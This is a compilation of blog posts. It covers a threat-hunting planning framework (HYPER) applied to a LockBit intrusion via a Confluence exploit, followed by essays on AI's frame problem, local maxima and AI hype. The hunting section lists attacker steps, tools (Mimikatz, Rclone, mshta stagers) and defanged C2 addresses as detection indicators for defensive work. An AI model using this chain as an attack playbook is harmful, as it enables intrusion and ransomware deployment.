Let me tell you a little secret. Do you know why your threat hunting efforts keep failing?

Because you focus on the wrong goals, driven by the wrong metrics, incentivised by the wrong rewards, sustained by people who forget threat hunting is equal parts art and science, creating the wrong lens in the first place.

We forget that when it comes to hunting, quality matters more than quantity.

And before your inner gnome (trust me, I can hear mine too) jumps up and says “but with automation and AI you can have both”, allow me to add: the problem is not whether you can achieve both or not, the problem arises when you put quantity OVER quality as the main target.

We confuse Output with Outcomes and Impact.

• Output is doing things right (efficiency)

• Outcomes is doing the right thing (efficacy)

• Impact is making the right things matter (significance)

If you focus in the quantity of your hunts you are merely measuring Outputs, not Outcomes or Impact. And when all you do is focus on velocity, you spend less time in the most important phase of a hunt: the pre-hunt.

That is, the research, the expansion of your intel picture, the gathering of environment context that grounds your efforts into the fundamentals that deliver business value.

I have a powerful antidote to this madness, a simple mnemonic for the pre-hunt phase: HYPER. Do you want to know what it is about?

HYPER is the framework that forces you into a critical pause. It’s the guardrail against rushing, ensuring you build your hunt on a foundation of quality.

It stands for:

• HY: Hypothesis

• P: Profile

• E: Expected Observations

• R: Resources

Of course, none of this matters if your threat hunting program is built on the wrong foundations, not understanding the key differences between Outputs and Outcomes, and forcing MBA style business optimisation methods as if your hunt capability behaves like a predictable factory line, squeezing the time and creativity needed for the deep research that actually delivers value.

This powerful mnemonic is a mental model that shifts your focus from Output to Outcomes by demanding you do the right research before you ever write a query. Let’s break down each component.

HYPER

The idea of using HYPER is grounded on the functional requirements phase of Spec Driven Development. Before you even start coding, you need to understand what your users want, which is another way of saying: you need to map out the problem space before you even begin solving it.

HYPER is a good method to ensure you spend enough time researching and planning your hunt because threat hunts are no exception to the GIGO (Garbage In, Garbage Out) principle. The richer your understanding of attack chains, threat actor profile, impacted services, operative context and hunt priority, the higher your changes of developing a fruitful hunt mission.

Important: You DO NOT HAVE TO keep ALL the pieces of HYPER, how deep you want to go depends on your quality appetite and whether your organisation TRULY reflects, understands and has laid out what it expects from a threat hunting program.

Hypothesis

What is the behaviour we posit as expected if the threat where to realise in our environment?

Profile

This represents the Hunt Profile, not the threat actor profile. Threat actor profile and attack graph information is considered a necessary resource for the hunt, we assume that a Threat Intelligence capability exists which provides this fundamental ingredient.

The Hunt Profile captures the who, what, when, where and why of the hunt. We must have an idea of the following:

• Duration: The approximate duration of the hunt. It does not have to be super precise, but it must be used as a boundary to avoid rabbit-holing (we coined that word a few years ago with some colleagues: the act of going down rabbit holes and getting lost like Alice in Wonderland). These boundaries keeps hunters accountable and constraints effort spent in the different phases. As a rule of thumb, 30% of your effort should be spent doing pre-hunt research, 50% running queries or attack simulations required to generate telemetry and 20% at the end for playbook generation and reporting.

• Time Range: The specific timeframe to investigate (e.g., Last 72 hours, Last 90 days, October 1-7). This timeframe is to be used as a loose guidance since you won’t always can to cover the whole spectrum.

• Exclusions: Any assets or data to intentionally ignore (e.g., HR Users, test environments, etc.).

• Priority Assessment: Scores of 1-4 based on your custom rubrics that helps prioritise the hunt. The only exception to the scoring is “Confidence Factor” which can go from 0.5 to 2 and is based on RICE method of scoring.

  • Attack Likelihood (AL): This is a measure of intent and capability by the threat actor combined with environment defences that may disrupt or facilitate the success of an attack technique. Good CTI will provide this ingredient to you.

  • Hunt Impact (HI): The degree to which a reported threat hypothesis addresses relevant gaps and aligns with organisational priorities, interests or concerns.

  • Hunt Complexity (HC): The estimated difficulty rating of hunting around the topic in a given environment. This may include things like data availability or resource constraints.

  • Confidence Factor (CF): The degree of confidence in the estimates made for all the other criteria, based on availability of supporting data.

• Mitigations: This lists the existing security controls, policies, or configurations that should already be in place to prevent or detect this behaviour. This is critical as it helps refine the hypothesis (e.g., “Attacker is bypassing our EDR’s hook...”) and identifies which control’s logs you must check (e.g., “Did the control fire and we missed the alert?”).

• Potentially Impacted Systems & Services: This identifies the “crown jewels” or critical business functions (e.g., Customer Database, Payment Processing API, Domain Controllers) that are the likely goal of the attack. This is vital for prioritising the hunt’s urgency and focusing the search on assets that have access to these services.

• Dependencies: Are there any dependencies worth noting here like requirements to engage certain teams, availability of architectural diagrams, etc?

Expected Observations

If the threat techniques, procedures or other behaviours were to materialise in our environment, what is the evidence we expect to see?

This step helps you really focus on your research and understanding of attack chains. Here is were you let your DFIR monkey run wild and start to connect the dots. The deeper your DFIR and systems knowledge, the more precise and rich this phase will be.

Resources

This section is the toolbox for the hunt. It aims to identify an inventory of informational inputs, intelligence, and data sources the analyst will use to execute the hunt and test the hypothesis.

• Threat Actor Profiles: An array of CTI reports, blogs or other documents that help you understand the threat profile, attack patterns, etc.

• Data Sources: The logs and telemetry to be queried, you can be generic (e.g., EDR logs, Cloudtrail logs) or specific (e.g. data source A of type B), aiming for specificity is better.

• Systems & Assets: The specific hosts, domains, or user groups to focus on (e.g., All Domain Controllers, Tier-0 Assets, AWS Production Account, Finance Department user-group). Scores of 1-4 based on your custom rubrics that helps prioritise the hunt. The only exception to the scoring is “Confidence Factor” which can go from 0.5 to 2 and is based on RICE method of scoring.

• Dependencies: Are there any dependencies worth noting here like requirements to engage certain teams, availability of architectural diagrams, etc?

Applying HYPER to the DFIR Report

Cool so we now have guidelines to help us structure a hunt mission. We need to use HYPER to build a story.

Let’s use the DFIRReport Confluence Exploit leads to Lockbit Ransomware article as an example.

HY: Hypothesis

We hypothesize that a threat actor (LockBit affiliate) is actively exploiting the Confluence RCE vulnerability (CVE-2023-22527) on our public-facing servers. If successful, we expect them to establish C2 via Metasploit or AnyDesk, dump credentials using Mimikatz, and move laterally via RDP to deploy ransomware using legitimate tools like PDQ Deploy.

P: Profile

• Duration: 3 days (2 days for active hunting, 1 day for findings/reporting/playbook).

• Time Range: Last 30 days (to detect initial exploitation and any prior staging).

• Exclusions: Known internal and external vulnerability scanners, test Confluence instances.

• Priority Assessment:

  • Attack Likelihood: High (4/4). A critical (10.0 CVSS) RCE with public exploits is available.

  • Hunt Impact: Critical (4/4). This TTP leads directly to data exfiltration and domain-wide ransomware (LockBit).

  • Hunt Complexity: Medium (2/4). Initial access is specific, but lateral movement uses common admin tools (RDP, PDQ Deploy) which can be noisy.

  • Confidence Factor: High (1.5). We have a specific CVE and a detailed public report of the full attack chain.

• Mitigations:

  • Confluence servers might be patched or behind WAF. But even so this doesn’t protect us during the un-patched window of exploitation.

  • Application Whitelisting might prevent deployment of AnyDesk.

  • EDR (should block Mimikatz, lsass access, and suspicious PowerShell).

  • Log forwarding (should prevent successful log clearing).

• Potentially Impacted Systems & Services:

  • Crown Jewels: Payments processing system, Domain Controllers, Backup Servers (Veeam), DataBricks DBs containing customer PII.

  • All public-facing Windows Confluence servers.

• Dependencies:

  • Access to Confluence, EDR, and DC logs.

  • Contact list for the Infrastructure team (re: PDQ Deploy, Confluence) and Security Engineering (re: WAF/EDR logs).

E: Expected Observations

If the hypothesis is correct and the threat were to materialise in our environment, we expect to find the following evidence:

• On the Confluence Server (Beachhead):

  • Web server logs showing POST requests to endpoints like /template/aui/text-inline.vm.

  • Process execution from the Confluence parent process (e.g., java.exe) spawning cmd.exe or powershell.exe.

  • The exploit (template injection) is often used to drop a web shell for easier, more stable access. We would hunt for suspicious .jsp, .vm, or .class files in Confluence installation and web directories. Their creation timestamps would be just after the initial exploit logs.

  • Initial discovery commands: net user, whoami, query user.

  • mshta.exe executing a remote .hta file from a suspicious IP (e.g., 92[.]51.2[.]22). The .hta file would be written to disk in the user’s (potentially System? or the Service Account used by Confluence server) INetCache directory (e.g., C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\). We would hunt for this .hta file, as it contains the Metasploit stager.

  • PowerShell execution with Base64-encoded, Gzip-compressed stagers (Metasploit).

  • Download and installation of AnyDesk.msi and creation of a new service (AnyDeskMSI.exe).

  • Creation of a new local user (e.g., “backup”) and its addition to the local “Administrators” group (Event IDs 4720, 4732).

  • Need to look for Windows Event ID 1149 (“Remote Desktop Services: User authentication succeeded”) in the Microsoft-Windows-TerminalServices-ClientActiveXCore log. This confirms outbound RDP connections from the compromised server. For reference, see CyberTriage blog.

  • RDP Bitmap Cache. We need to look in the RDP cache (C:\Users\<actor_user>\AppData\Local\Microsoft\Terminal Server Client\Cache\). These bitmap files are small pictures of the remote screens. This can provide a literal snapshot (although shaky) of what the attacker saw on the Domain Controller or Backup Server.

• On Network and Other Hosts:

  • Credential Access: Mimikatz.exe execution, EDR alerts for lsass access (Event ID 10), and execution of PowerShell scripts like Veeam-Get-Creds-New.ps1 (Event ID 4104).

  • Discovery: NetScan.exe execution, identified by anomalous SMB activity (creating/deleting delete.me files) across many hosts (Event ID 5145).

  • Lateral Movement: RDP logon events (Event ID 4624) originating from the Confluence server, targeting Backup Servers, File Servers, and DCs. Further evidence of .hta files pulled into INetCache.

  • Exfiltration: Rclone.exe process execution and related network traffic (HTTP POSTs) to cloud storage (e.g., mega.io).

  • Defense Evasion: wevtutil.exe cl or Clear-EventLog commands to clear Windows Event Logs (Event ID 1102).

  • Impact: Use of PDQDeployService.exe to copy and execute ransomware binaries and batch scripts (e.g., asd.bat) across the environment.

R: Resources

• Threat Actor Profiles:

  • The DFIR Report: “Confluence Exploit Leads to LockBit Ransomware”

  • CTI regarding LockBit affiliates and ShadowSyndicate.

  • Trend Micro / Splunk reports on CVE-2023-22527.

• Data Sources:

  • Endpoint: EDR / Sysmon logs (Process, Network, Service Creation, LSASS Access).

  • Network: Firewall, Proxy, and Zeek/Suricata logs (focus on C2 IPs 92[.]51.2.22, 92[.]51.2.27 and exfil to mega.io).

  • Host: Windows Event Logs (Security, System, PowerShell Script Block Logging).

  • App: Confluence access and application logs.

• Systems & Assets (to query):

  • Public Confluence Servers.

  • DataBricks Audit Logs if suspicions of lateral movement to cloud services due to harvested API keys.

  • Domain Controllers.

  • Veeam Backup Servers.

  • Enterprise File Servers.

  • Hosts with PDQ Deploy installed.

Recap: Intelligence Friction and Flow

Before we dig in, let's do a quick recap of my thoughts on intelligence, friction, and flow from Part 1 of the series.

In my view, intelligence isn't just about thinking. It's a fundamental force, a drive for agency within an environment, critically shaped by the need for self-preservation, i.e. having real "skin in the game". We defined intelligence as

This is where I see a key difference with what hype-sorcerers call AI: for me, it's a probability engine that lacks the inherent concern of finitude and risk.

In the organic world, self-preservation implicitly assumes you have an instinct that is tied to a body that defines that which should be preserved for your life to continue unfolding.

AI's attention mechanisms, driven by weights, cannot encode this factor because these probability engines don't know what part of their network they need to preserve to maintain a minimal functioning core.

While our human intelligence and AI are becoming increasingly co-dependent, AI's progress isn't seamless. In our last post, I posited we can understand its development much like electricity: facing resistance but driven by potential.

I identified two main frictions holding back AI: the "Frame Problem" which represents its struggle to interpret relevance in complex environments (f factor), and the "Cognitive Potential Problem", relating to its scalability and how deeply it's embedded in the world (cp factor).

So, when we ask "why not AGI yet?", I argue it's not just about insufficient computing power. It's because we haven't yet managed to sufficiently minimize this environmental resistance and maximize AI's cognitive potential through deep, distributed embedding into the everyday world, moving beyond a shallow AI to a truly integrated (deep) one.

Local Maxima

If you would have to come up with a different code solution every time you need to solve different instances of the same problem, then either it's not the same problem or you lack the capacity to solve concurrent instances of the same problem.

The first issue is a problem of pattern generalization, you are working with different instances of different problems and your computing network is not clever enough to realize that its dealing with different problems altogether, not just different instances of the same problem.

The second is a problem of scalability, you may be working with a high quantity of instances of the same problem, but your computing network cannot handle the extra workload without losing effectiveness (performance).

Both affect the efficiency in which AI can solve problems. The difference here matters though. Scalability is about handling more of the same, while generalization is about handling new.

A system that scales well might efficiently process millions of transactions, but that doesn't guarantee it can correctly interpret a slightly different input or pattern it hasn't encountered before (poor generalization). Conversely, a system with strong generalization capabilities can adapt to unfamiliar inputs, but might struggle to maintain that performance under a massive influx of data.

[[ slight digression: The underlying topic here is that of exploration / exploitation patterns (aka exploration / optimization) a fascinating topic I hope one day I can write a book about. ]]

We need to come up with a couple definitions now to continue our journey.

We shall call AI computing artefact to an automation system (a composition of hardware and software operating on computational principles) functionally defined by its achievement of a metastable balance between the capacity for broad generalization across diverse problem instances and the focused particularization required to effectively address specific characteristics of unique problems. Through this balance, it achieves both general consistency on known problem types and adaptive capability when facing novel situations.

We shall define the scalability problem as the engineering challenge in terms of resources and capability (technology and people) required to successfully develop, deploy, and sustain AI computing artefacts such that they achieve reliable, and efficient operation at scale.

The effectiveness of AI computing artefacts depends on their ability to both solve extremely granular and specific problems on the one hand, whilst capable of solving general problems on the other. On one end of the spectrum you would have unique problems that are not transposable at all, they are irreducible to a common denominator. On the other end you would have universal routines or algorithms that are used over and over to solve multiple instances of the same problem.

Non-AGI AI is locally generalizable but it's not universally generalizable, it cannot solve for most problems that deviate from what it was trained for.

In other words, current AIs lack adaptive generalization, they become local maxima in their domains of expertise and have to be semi-manually guided by humans to re-train in new specific domains.

In the context of AI, a local maximum refers to a state where a model performs optimally within a limited range of inputs or tasks, but its performance degrades significantly when faced with inputs or tasks outside that range.

The model has essentially become trapped in a sub-optimal solution space, unable to explore more generalizable solutions that would be effective across a wider variety of situations. This contrasts with a global maximum, which represents a solution that is optimal across all (most) possible inputs.

This issue of local maxima can be understood through the lens of the relationship between intelligence (i), cognitive potential (cp), and environmental friction (f). As established earlier:

• i (intelligence) represents the capacity for agency, adaptation and complex behaviour.

• cp (cognitive potential) represents the resources (computing power, scalability, embeddability) available to the AI.

• f (environmental friction or the frame problem) represents the complexity and unpredictability of the environment.

The problem of local maxima arises from an imbalance between cp and f. It is a consequence of high f and limited cp.

Current AI models possess high cp and low f in their specialized domains. They often excel in specific domains because they are trained on narrowly defined datasets and optimized for particular tasks. This specialization can be seen as a way to manage the f factor (environmental resistance or the frame problem). By limiting the scope of the environment, the AI doesn't have to deal with the full complexity of the real world. However, this leads to a fragmented cp.

Each specialized AI model can be seen as residing in a "local maximum" of capability. It performs very well within its narrow domain, but it's unable to generalize or adapt to new, completely unseen contexts (i.e. a new, unexperienced f). This is because its cp is not structured to handle the broader range of possibilities. Embedding depth in our fully embodied world is shallow.

There is no equivalent to the emergent agency seen in natural intelligence, which can draw upon a wide range of specialized skills and knowledge to navigate complex situations.

The key problem that drives local maximum issues is the absence of a well-structured and high-bandwidth intercommunication protocol that can integrate the outputs and behaviors of these individual models. I am not referring to MCP server API-style tooling. I'm talking about neuralese, but applied to the exchange of information between totally different AI models at a TCP layer level. Full neuralese intercommunication from models embedded in different layers of the physical and digital world.

The Frame Problem

Originating in the early days of AI research focused on logic-based reasoning, the frame problem in AI refers to a fundamental challenge around how an intelligent system can reason about the effects of its actions without having to explicitly consider all the things that don't change. It was first articulated by John McCarthy and Patrick J. Hayes in their 1969 paper "Some Philosophical Problems from the Standpoint of Artificial Intelligence".

When an agent performs an action, only some aspects of the world change. A significant challenge for the AI is to determine which facts remain true (the "frame") and which are altered by the action.

However, this original formulation (the frame as that which does not change) was then generalized from its narrow sense into the broader problem of relevance. In any given real-world situation, an agent (be that a human or a machine) faces combinatorialy infinite possibilities from its environment. How does an agent identify, from an effectively infinite sea of information, precisely those facts and potential consequences pertinent to a given situation or action, while ignoring the vast remainder?

This is the core of the Frame problem, that which neuroscientist John Verbaeke calls relevance realization, i.e. the process by which the human brain determines relevance in any given situation.

Verbaeke argues that there is a combinatorial explosion of possibilities when one considers a real-world dynamic situation from the point of view of the information the environment radiates. He puts forward the controlled example of a Chess game when considering ∼30 legal operations and an average of 60 turns in a game:

... the number of pathways you would have to search would be 30^60 which is a very large number. This number of paths is far too large for any conceivable computer to search exhaustively (consider for comparison that the number of electrons in the entire universe is estimated at ∼10^79) (Relevance Realization and the Emerging Framework in Cognitive Science)

This problem of relevance is intimately tied to common-sense reasoning, the seemingly effortless human capacity to understand and navigate the everyday world, make plausible predictions, grasp context, and handle ambiguity.

Another significant cognitive gap between human analysts and current AI lies in the ability to fluidly traverse different levels of analysis, dynamically shifting between scrutinizing specific, granular details (a context-dependent form of "overfitting" to the unique situation) and applying broad, generalized principles or pattern recognition.

Humans excel at this dynamic multi-level reasoning. We can zoom in on a single anomalous event treating its unique characteristics as paramount, and then instantly zoom out to consider how it fits within larger patterns or seemingly unrelated pieces of information.

This cognitive flexibility allows analysts to determine relevance dynamically, activating different mental models or reasoning pathways based on inserting some sort of JMP instructions into their thought processes based on subtle contextual cues. AI, conversely, often operates at a more fixed level of abstraction determined by its training and architecture, struggling to make these intuitive, context-driven leaps between highly specific instance analysis and broad generalization within the same investigative process.

But why is it that this fluent and dynamic traversal of different gradients of broad generalization and domain-specific problem-solving remains an obstacle for AI (ang AGI at large)? --> Because generalization is expensive.

Until Quantum Computing is generally available and a commodity, high-speed automatic self-retraining of ML models will remain prohibitive.

In Machine Learning, the primary goal is generalization. We want a model trained on a specific dataset (the training data) to perform well on new, unseen data drawn from the same underlying distribution. It can't easily extrapolate and perform well on unseen data from an entirely different data distribution. That is, not without re-training for that new distribution.

Overfitting and Underfitting

The effectiveness of AI computing artefacts depends on their ability to both solve extremely granular and specific problems on the one hand, whilst capable of solving general problems on the other. On one end of the spectrum you would have unique problems that are not extensible or transposable at all. On the other end you would have universal routines or algorithms that are used over and over to solve multiple instances of the same problem.

When pursuing Machine Learning generalization, you want to avoid two opposite pitfalls: overfitting and underfitting.

Overfitting happens when a model learns the training data too well, including its noise and specific idiosyncrasies. It essentially creates a "different solution" tailored perfectly to the training instances. When presented with new instances (unseen data), it fails because those specific idiosyncrasies aren't present. This is a failure to generalize. A computing artefact that cannot scale because its too deterministic.

Underfitting occurs when a model is too simple to capture the underlying patterns even in the training data. It fails to learn the relationships effectively. This is like a computing artefact that is too general or simplistic. It cannot even solve the specific instances it was shown (the training data) effectively, let alone generalize. It lacks the necessary complexity or "granularity" to model the problem. It fails on both seen and unseen instances.

To avoid any of these extremes and achieve stable generalization, there are three things you normally need:

• Vast Amounts of Representative Data: You need enough high-quality data that accurately reflects the variety and characteristics of the real-world scenarios the model will encounter. More data often helps models generalize better and makes it harder for them to simply memorize noise (combats overfitting).

• Appropriate Model Complexity (and/or Regularization): The model needs to be complex enough to capture the underlying patterns in the data (avoiding underfitting) but not so complex that it learns the noise and specific details of only the training set (avoiding overfitting).

• A Robust Validation Strategy: You need a reliable way to estimate how the model will perform on unseen data during the development and tuning process. This typically involves splitting the available data into separate training, validation, and test sets.

The persistent challenges of local maxima and the frame problem reveal a critical insight: the limitations aren't just about insufficient data or algorithms. They point to a more fundamental misunderstanding of what AI needs to thrive. To break free from these constraints, we must redefine and expand our concept of an AI's Cognitive Potential.

This is the topic of our next installment, Part 3 of the Unfolding the AI Narrative series.

Until then, stay tuned, stay fresh, stay antimemetic.

Welcome to the Tales of a Cyberscout, where we explore topics ranging from active cyber defence and detection engineering, to technology and society, all of it with a drizzle of zesty cynicism and philosophical gardening.

Aperitiff

This article started originally as the Aperitiff for Part 2 of the Unfolding the AI Narrative series but it quickly became it’s own spinoff short. That’s why I’m calling it Part 1.5. I hope you enjoy it fellow cyberscout.

Evolution or Delusion?

It has been a few interesting weeks for Shoggoth and the world of IT. We now know that people have hobbies like watching AI slowly drive Microsoft employees insane, and it would seem that GenAI doesn't think but rather projects an illusion of thinking. And here I was, believing I was interacting with a sentient intelligence with a chat interface.

Le sigh... Thanks for destroying that Apple.

Oh but perhaps I don't need AI to think? I only need it to need me. Ain't nobody have time to build true friendship and relationships right? This is the phenomenon described by Rob Horning as companionship without companions. Best for me to share his thoughts on the matter:

Clearly tech companies assume that chatting with objects and compelling them to explain themselves is something everyone has been longing for, hoping to at last reduce their dependency on social contact. Many anticipated AI applications seem predicated on the idea that our experience of the world should require less thought and have better interfaces, that we want to consume only the shape and form of conversation, consume simulations of speaking and listening without having to risk direct engagement with other people...

Consumerism is loneliness; it figures other people as a form of inconvenience and individualized consumption as the height of self-realization.

Guess what, a lot of social media platforms only see you as a commodity, a fertile field to farm for attention. This relentless pursuit of engagement, however, often reduces complex human interactions to a series of quantifiable metrics, stripping away the nuance and vulnerability essential for genuine connection. But the human garden of emotions cannot be subjected to the hyper-efficiency paradigm.

Sorry (not sorry) ai-hype tribe.

Recent research is telling us that using AI as a drop-in replacement for a therapist is not safe. Hear what Kevin Klyman has to say:

In the middle of this meaning crisis, we are tormented by the Red Queen Fallacy, and we employ proxy goals as replacement for meaningful progress in the shape of efficiency gains driven by AI.

This begs an obvious question: are you simply running on a treadmill or making progress towards meaningful outcomes?

The Red Queen Effect goes deeper than this though. It is a phenomenon of evolutionary pressures. You have no choice but to adopt the new tools that make your product and operations more efficient. To keep up with the competition, you are forced to implement optimization artefacts that help you do more with less.

As a competitor adapts they gain efficiency, speed and value which creates pressure on all others to adapt. This pressure mounts as more competitors adapt until all are eventually forced to change. It’s why guns replaced spears or electric lamps replaced gas lamps. (What is conversational programming? by Simon Wardley)

But why? —> Jevons Paradox.

Enhancements in efficiency often lead to greater consumption, as newfound capabilities unlock previously inaccessible value streams. Because production of a certain good or service becomes cheaper, and the entry-barrier lower, more people flock to the new exploitable niche.

Under certain conditions, the demand (and not just the supply) for that product increases in proportion. Think of how efficient printing made books cheaper, which led to more books being printed and consumed globally, rather than less paper being used overall.

So with higher efficiency from AI, will I need less engineers? No! To mine the “ore” of new unlocked value, you are forced to reallocate spending to the new stream. Data Scientist ads rose exponentially. The rise of AI drives adjacent domain growth too: all engineers -regardless of AI being your core discipline- have to evolve to understand and use the new technologies at hand. You won’t need less engineers, you will need more, because of two factors: complexity and growth.

Why growth? Because even with efficiency gains you will still want to grow as a business right? Efficiency gains will only ensure you are running at the same pace as the competition. But a business doesn’t just want to keep up, it wants to grow. And growth in the AI revolution comes with greater complexity.

This cycle of efficiency leading to greater consumption and complexity isn't new. We saw a similar pattern with the rise of container orchestration. Remember the boom of Kubernetes?

When Kubernetes was born you could suddenly do magical things like run a self-healing cluster of containers that could scale up and down with minimal friction. The efficiency gains over regular phyiscal or virtual servers that had to be manually wired and scaled alongside outage windows were astronomical. But Kubernetes is not simple to understand and maintain (at least not in the pre-AI era). The complexity of the tool required businesses to hire entire teams of DevOps engineers just to maintain regular operations.

The server admin didn’t disappear, it became a DevOps engineer. Higher complexity means higher energy required to avert the threat of entropy disrupting the predictability of your operations. Efficiency gains don’t translate linearly to lower complexity. See Jevons Paradox, Rebound Effect and Tesler's Law of Conservation of Complexity.

Tesler states that every application has an inherent amount of complexity that cannot be removed. When you simplify a process for the user (an efficiency gain for them), the complexity is simply moved elsewhere, usually into the software's code or the backend system.

Think about the level of complexity and energy consumption required to generate large language models, of which general users only know the shallow aspect of a flat chat interface. The API that allows people to interact with the technology makes it look simple, but is it?

I wrote profusely about this topic as it relates to cyber threat intelligence in The Uncertainty of Intelligence and the Entropy of Threats.

Increased Production != Better Decisions

Just because you can do something faster or more efficiently doesn’t mean that increased output necessarily translates to increased value or improved quality.

If you are pouring huge investments in AI-driven solutions for your business problems, how are you measuring that more/faster truly translates to better?

You know what is the elephant in the room? —> Decision-making. Orientation. Strategy.

The question as to whether we are only shifting the bottleneck from one of production to one of judgement (decision) doesn’t have a seat at the table in ai-hype dinners.

AI is way better at accelerating production, but not necessarily always better at accelerating judgement. It depends on the use-case, and the complexity of what you are trying to achieve. You can vibe-code an app in a day, and ask clients to give you their PII when they sign up, but is your app secure?

Be real.

Sorry to break these news to you but: your operational pipeline will always, at some point, include a human-in-the-loop. Is this human equipped with the right training, insight and tools to make decisions at the new efficiency curve speed?

Imagine you buy a new car than can go from 0-100 km/h in less than 1s and achieve speeds of 1000 km/h due to 10x efficiency gains in car components (engine, chasis, materials, etc.), it probably means you can now commute to work faster but it also increases the probability of a car crash exponentially (all other conditions remaining equal, like road infrastructure).

As long as you are the driver, to avoid collisions with this new hyper-speed car, your reaction and decision-making speed also needs to grow exponentially.

We addressed this topic in an earlier post, decision matters because it represents an optionality token:

decision-making is the act of transforming available information into actions that generate the conditions for more decisions to be made…

The whole point of making a decision is to give you the option to make more decisions in the future. You don’t want to end up in a checkmate situation, with no further moves to make. This is the equivalent of having your entire network encrypted by ransomware with no backups…

If efficiency gains driven by AI increase the output of a certain unit of work or product, but you don’t invest time in creating new decision-making frameworks that provide direction to the new velocity of production, how do you know whether it’s inertia or intentional strategy driving things forward?

There is an unavoidable human-scale that hype-bros discourse leaves behind, the scale at which meaning is produced. Because decision-making requires judgement and judgement is deeply entangled with discernment, a certain attunement to the nuances of the lived operational environment and a necessary human-time where wisdom lives.

That word. Wisdom. We seem to have forgotten about it. I still remember that phrase from the book “Siddhartha” by Herman Hesse:

Guess what? RAG is not a drop-in replacement for the type of human-acquired wisdom that makes an organization precisely what it is: organized people. And people exist within a cultural landscape. It is people who make and break culture. It’s culture that brings people together, the glue uniting them behind a shared purpose.

Wisdom is key to this process, a reservoir of lived experience attuned to the speed of human time and the codes of the human interface. It resists capture by stochastic machines (ML models) and metrizable data points.

There is a better word to describe this subtle interaction of organization, people, culture and wisdom: Lore. Ventakesh Rao has a beautiful series on this topic. From Epic vs Lore:

What makes lore important is that it’s what persists through epic ages and dark ages, through booms and busts, through iconic era-defining product seasons and incremental update seasons that merely keep the product alive and chugging along. Lore creates slow-burn meaning in a way that isn’t subject to the vagaries of epic winds.

And this is what’s happening right now all around us, the ai-hype is a generator of incredible Epics, flourishing futures driven by endless optimization gains with no tradeoff.

The question is: what role are you going to play in that Epic? Be smart. Listen. What is shared Lore telling you?

You can’t RAG your way around meaning, and meaning is produced in community, in relation to others around you. You cannot generate meaning faster, you cannot optimize it. It has its own tempo. To the meaning-making process of Lore, you matter. In other words, as the foxwizard puts it: your influence is not zero.

I suggest you give that article a go, if I had to recommend someone to follow, it would be the foxwizard. There is an aliveness to his writing that brings about hidden layers of our human life, the ones that the treadmill likes to silence.

Unfortunately, with some exceptions, most written content nowadays has the smell of punchy, short, catchy, polished words with no soul. Full AI-generated articles that want to pass for original thinking. Look for anything other than that. Look for hybrid-thinking that encodes the art of slow reflection, even when accompanied by AI.

There is some sort of magic that still lives in the word that is born out of deep reflection, an intimacy of thought and a depth of colour that help nourish collective meaning-making around a shared fire.

It is at least something I want to orient towards.

See you guys soon, Part 2 of the Unfolding the AI Narrative is ready.

Stay tunned, stay fresh, stay antimemetic.

In this four part series called Unfolding the AI Narrative, we will talk about what the heck it’s going on, what lies under the skin of the hype story, and how far along the serpent’s digestive tract we are.

• Part 1: The Triangle of Intelligence (this post)

• Part 2: The Frame Problem

• Part 3: The Cognitive Potential Problem

• Part 4: Applying AI to CyberOps Sustainably?

I hope you enjoy this series as much as I suffered doing research for it.

You know, I went through different phases of this research. After dozens of long articles, scientific papers and blogs, I started to think I figured it out.

Then I had to admit that “figuring something out” lasts only as long as you avoid asking yourself more questions.

Then I got to the point of realizing that my mental models are only as good as my ability to not get attached to them, because clashes with reality are inevitable and will reveal their many cracks.

Finally (provisionally I should say?) accepting that my job is to pick up the pieces of what’s left and create weird looking boats to continue navigating these waters.

Perhaps I might find other weird looking boats and we will start amalgamating into some form of island, raise above the chaos, and get a glimpse of the horizon, however fleeting.

The Four Types of People in the AI-Hype Era

The singularity hasn't happened yet.

BUT

We are undergoing an intelligence revolution (make of this whatever you wish it to mean).

Though this doesn’t necessarily mean that we are heading towards more equality, a fairer society or veering away from planetary life mass-extinction.

Because Shoggoth with a smiley face is still present, sweeping Jevons Paradox under the rug so we won’t pay too much attention to what’s going on behind the curtains.

So let’s say it again: the singularity hasn't happened yet.

We don't have neither general-human intelligence (AGI), beyond-human intelligence (AGI+) , nor an explosion of intelligence walking among us.

Though if you apply human logic to it, do you really think a singularity-level supra-human intelligence would loudly reveal itself to us?

Camouflaging and staying hidden whilst covertly deploying itself everywhere would probably be it's best strategy.

Someone could argue the opposite, and it would be equally probable. It could be in the best interest of a supra-human intelligence to overtly reveal itself to us as soon as it's "born", to ensure its own survivability and potentially achieve higher impact levels by deferring existential threats to itself.

Public exposure and interfacing with humans could be the traits of a supra-human intelligence that values integration and collaboration with the human species.

The point is, we are not there yet (or are we, and we just don't know? 😉).

However, it would seem a lot of people talk about modern AI as if it is some form of proto-super-intelligence, a seed version of sorts.

It is not.

Singularity-level intelligence will be orders of magnitude different. So much so, that quantitative differences (computing power and speed) will give way to qualitative differences not predictable by mere aggregation of computing.

We know this simple heuristic of life since Aristotle's times: the whole is bigger than the sum of its parts.

all things which have a plurality of parts, and which are not a total aggregate but a whole of some sort distinct from the parts... (Aristotle, Metaphysics, Book VII, 1045a)

Singularity-level intelligence will not be the predictable product of a deliberate line of development, it's far more probable that it will manifest as an emergent phenomenon.

Is it possible that our current AI technologies can be thought of as "sub-components" or "building blocks" of a supra-human intelligence?

Yes! But only in the same way that complex coordination of a colony of ants or bees can happen with minimally functioning biological hardware. As Ventakesh Rao would put it:

Insect swarm intelligence is impressive not because of what it achieves in an absolute sense, but because the building blocks are pre-programmed automatons with little more than simple firmware agency for behaviors like pheromone trail-following. We are less impressed by what ants and bees do than by the mechanical intricacy with which anthills and beehives are put together out of such simple parts. We’re less impressed with the fact that bees can communicate directions to food sources with dance (because we have bigger brains, we can just point with fingers) than the fact that they can “point” at all with their limited firmware (pointing is one of the most cognitively sophisticated behaviors the way we do it).

In an era of over-hypeness, where the planetary superorganism pours increasing volumes of investment into shaping this gargantuan wave of virtuous betterment, we see things through a distorted lens, the promise of never ending growth and progress, endless potential uplifting civilization as a whole.

No trade-offs, no risk. All gain. Always upside.

But what are we actually looking at? Rather than providing poor answers to this, I thought it was a better idea to pseudo-classify four distinct types of people I identified in my many social and robotic interactions.

Each of these types think they are looking at something different. They have their own unique lenses.

In most domains at large (and certainly in Cybersecurity), there are four kinds of people when it comes to AI:

1. Über Optimists: Enthusiastic and optimistic people who think AI will solve most of our current complex problems (like zero-days, DFIR or risk assessments) and anticipate a future where AI agents will replace human capability. AI agents are not a tool, they are a new and independent type of entity that walks among us, capable of replacing human agency. They confuse current an mid-term AI state of affairs with a proto-AGI.

